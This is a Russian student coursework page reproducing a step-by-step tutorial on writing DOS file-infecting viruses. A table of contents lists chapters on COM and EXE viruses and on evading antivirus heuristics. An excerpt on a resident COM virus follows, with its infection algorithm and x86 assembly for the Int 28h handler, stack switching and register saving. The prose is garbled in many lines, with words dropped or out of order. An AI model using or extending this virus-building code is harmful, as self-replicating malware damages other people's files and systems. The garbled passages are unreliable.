Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа
Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-
ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82
ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного
которая всегда выполняется при запуске программы
первой .
После перехвата прерываний, которые должна обраба-
тывать резидентная часть, секция инициализации за-
вершает программу, используя для этой цели преры-
вание или функцию резидентного завершения MS DOS .
В результате резидентная часть остается в памяти и
активизируется в случаях, предусмотренных автором
программы . Часть инициализации в процессе работы
больше не потребуется,поэтому оставлять ее в памя-
ти бессмысленно, и она " затирается " MS DOS в
случае необходимости .
2.3 Алгоритм работы резидентного
COM - вируса
Рассмотрим один из возможных алгоритмов работы ре-
зидентного COM - вируса .
По своей сути резидентный вирус отличается от обы-
чной резидентной программы только тем, что он раз-
множается сам по себе, независимо от желания поль-
зователя.Значит,построить его можно по той же схе-
ме, по которой пишутся обычные TSR - программы .Но
сначала выясним,что должны делать секция инициали-
зации вируса и его резидентная часть .
Итак :
Секция инициализации выполняет следующие действия:
1. Получает управление при запуске зараженной про-
граммы .
2. Проверяет, установлена ли в память резидентная
часть вируса .
3. Восстанавливает в памяти компьютера исходные
три байта этой программы .
4. Если резидентная часть не установлена,выполняю-
тся следующие действия :
a.) Отыскивается свободный блок памяти достато-
чного для размещения вируса размера .
б.) Код вируса копируется в найденный блок па-
мяти .
в.) В таблице
векторов прерываний
ющие
вектора заменяются точками
русные обработчики .
г.) Выполняется переход на начало зараженной
программы ( на адрес CS : 100h ).После это-
го
программа выполняется, как
В том случае, если резидентная часть вируса уже
находится в памяти, он просто передает управление
зараженной программе .
Резидентная часть выполняет следующие действия :
1. Анализирует все вызовы системного прерывания
INT 21h с целью выявить переход оператора в новый
каталог или смену текущего диска .
2. Если обнаружится смена текущего диска или ката-
лога, резидентная часть должна :
а.) Сохранить исходное состояние вычислительной
системы .
б.) Найти на диске подходящий COM - файл .
в.) Записать тело вируса в конец этого файла .
г.) Заменить первые три байта заражаемой про-
граммы командой перехода на вирусный код,
сохранив предварительно исходные три байта
в своей области данных.
д.) Восстановить исходное состояние вычислите-
льной
системы и передать ей
Если оператор не будет менять текущий католог или
диск, вирус, очевидно, ничего заразить не сможет .
Как вы уже заметили, заражением файлов занимается
исключительно резидентная часть ! Секция инициали-
зации нужна только для инсталляции вируса в па-
мять .Кроме того, в отличие от обычной резидентной
программы, в вирусе эта секция записывается в па-
мять вместе с резидентной частью . Иначе при за-
писи ее в заражаемый файл возникли бы серьезные
трудности .
Из рассказанного в этом пункте легко сделать вы-
вод о том, насколько резидентный вирус должен быть
устроен сложнее обычного .Вместе с тем, в его на-
писании нет ничего магического, и вы без труда
разберетесь в следующей программе .
2.4 Заголовок вируса
Для разработки вируса мы, как и раньше, будем ис-
пользовать COM формат .
Естественно,в резидентном вирусе будут использова-
ны некоторые блоки, созданные нами в предыдущей
главе .Поэтому на их работе мы останавливаться не
будем, а вместо этого сделаем акцент на новых при-
емах, реализованных в программе .
Итак, начнем :
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
start: jmp vir ;Передача управ-
;ления вирусному
org 110h
Приведенные команды и директивы выполняют те же
самые функции, что и аналогичные, использованные
нами при создании нерезидентной вирусной програм-
мы .
2.5 Вирус начинает работу
Несколько забегая вперед, отметим, что наш вирус
будет работать так :
1. Обработчик прерывания Int 21h отслеживает
смену оператором текущего каталога или дис-
ка. Если пользователь действительно сменил
диск или каталог,то переменная TG_INFECT ус-
танавливается в единицу.
2. Обработчик прерывания Int 28h вызывается DOS
всякий раз, когда можно, не боясь зависаний,
обращаться к системным функциям, работающим
с файлами.
Поэтому естественно возложить
него задачу поиска и заражения файлов.Исходя
из этого процедура обработки Int 28h прове-
ряет значение TG_INFECT, и если оно равно
единице, выполняет поиск и заражение файлов.
------------------------------
После перехода на метку " vir " начинается испол-
нение вирусной программы .Поэтому продолжим :
( Собственно это и есть начало обработчика преры-
вания Int 28h )
vir: db 0ebh ;90h - Для рези-
db push_len ;90h дентной
pushf ;Запишем флаги
cmp cs:tg_infect-110h,1;
je cs:vir_2 ;Да ...
call dword ptr cs:old_28h - 110h
;другие TSR ...
iret
vir_2: popf ;Переключаем
mov cs:ss_save-110h,ss ;себя ...
mov cs:sp_save-110h,sp
mov cs:help_word - 110h,cs
mov ss,cs:help_word - 110h
mov sp,to_newstack + 136
mov cs:tg_infect - 110h,0
pushf ;Вызываем старый
db 9ah ;обработчик
old_28h dw 0 ;INT 28h ...
old_28h_2 dw 0
Обратите внимание на команду,записанную в машинном
коде сразу за меткой " vir " .Сейчас мы попробуем
разобраться, зачем она потребовалась .
Как вы знаете, наш вирус должен быть резидентным и
состоять из двух частей .При этом секция инициали-
зации исполняется только в транзитном ( нерезиден-
тном ) режиме,а резидентная часть - только в рези-
дентном.
Команда
db 0ebh ;90h - Для рези-
db push_len ;90h дентной
играет роль " переключателя " между транзитным и
резидентным кодами .При заражении вирус записывает
в файл команду перехода, которая при запуске зара-
женного файла передает управление на " push_len "
байт вперед, где как раз и начинается секция ини-
циализации .Если же попытаться выполнить эту кома-
нду в резидентном режиме, т. е. когда код вируса
получил управление, находясь в памяти,это приведет
к зависанию компьютера .Чтобы такого не происходи-
ло, секция инициализации при установке вирусного
кода в память записывает сразу за меткой " vir "
две команды " NOP ", или код : 9090h .
Все
приведенные далее команды
тной части .После записи флагов в стек вирус про-
веряет состояние переменной " tg_infect ", и если
она равна " 1 ", переходит к метке " vir_2 " .Если
же " tg_infect " равна " 0 ",то вирус просто вызы-
вает старый обработчик INT 28h и отдает управление
прерванному
процессу.Чуть позже мы
формируется значение переменной " tg_infect " .
Поскольку приводимый обработчик активно работает
со
стеком,есть смысл
ный стек . Поэтому сразу за меткой " vir_2 " запи-
шем
команды, переключающие стек
ласть данных вируса " newstack " :
;Переключаем
mov cs:ss_save-110h,ss ;себя ...
mov cs:sp_save-110h,sp
mov cs:help_word - 110h,cs
mov ss,cs:help_word - 110h
mov sp,to_newstack + 136
mov cs:tg_infect - 110h,0
Последней запишем команду, сбрасывающую " tg_in-
fect " в ноль .Этим мы защитим вирусный код от по-
вторного вхождения .
Теперь необходимо вызвать старый обработчик INT
28h, иначе наш вирус будет " топить " другие рези-
дентные
программы, которые
прерывание .Поэтому запишем :
pushf ;Вызываем старый
db 9ah ;обработчик
old_28h dw 0 ;INT 28h ...
old_28h_2 dw 0
Обработчик здесь вызывается как дальняя процедура.
Команда " CALL " записана в виде машинного кода,
а поля " old_28h " и " old_28h_2 " заполняются се-
кцией инициализации при установке вируса в память.
*
Обратите
внимание на команды
Они необычны тем,что от адреса ячеек памяти " ss_
save "," sp_save ", " tg_infect " и " help_word "
отнимается число 110h . Дело в том, что при ком-
пиляции исходного текста COM - программы адреса
ячеек памяти вычисляются исходя из того, что DS
указывает на начало ее PSP .Кроме того, в самом
начале вируса мы записали директиву " org 110h ".
Но ведь к вышеуказанным ячейкам памяти вирус об-
ращается в резидентном режиме, да еще и относите-
льно CS .А CS указывает строго на начало обработ-
чика, а не на начало PSP, как это было при компи-
ляции ! Поэтому относительный адрес ячеек необхо-
димо уменьшить на 110h, что мы и сделали . Этот
прием
будет использован еще
строении
вирусных обработчиков
полезно будет понять, на чем он основан .
2.6 Сохраняем регистры процессора
В самом
начале работы резидентная
на сохранить значения регистров процессора, кото-
рые были переданы ей прерванной программой, а при
завершении работы - восстановить эти значения .Ес-
ли
этого не сделать,прерванная
сможет
нормально выполняться дальше,
сбою вычислительного процесса . Поэтому сейчас мы
сохраним все регистры, используемые вирусом,в сте-
ке :
pushf ;Сохраним в сте-
push ax ;ке регистры ...
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:infect ;Перейти к зара-
Заметим,
что значения регистров
область " newstack ", а не в стек прерванной прог-
раммы .Значения SS и SP сохраняются в переменных :
" ss_save " и " sp_save ", и поэтому в стек не за-
носятся .Команда " jmp cs:infect " также относится
к резидентной секции и передает управление "зараз-
ной" части вирусного кода .
2.7 Создаем секцию инициализации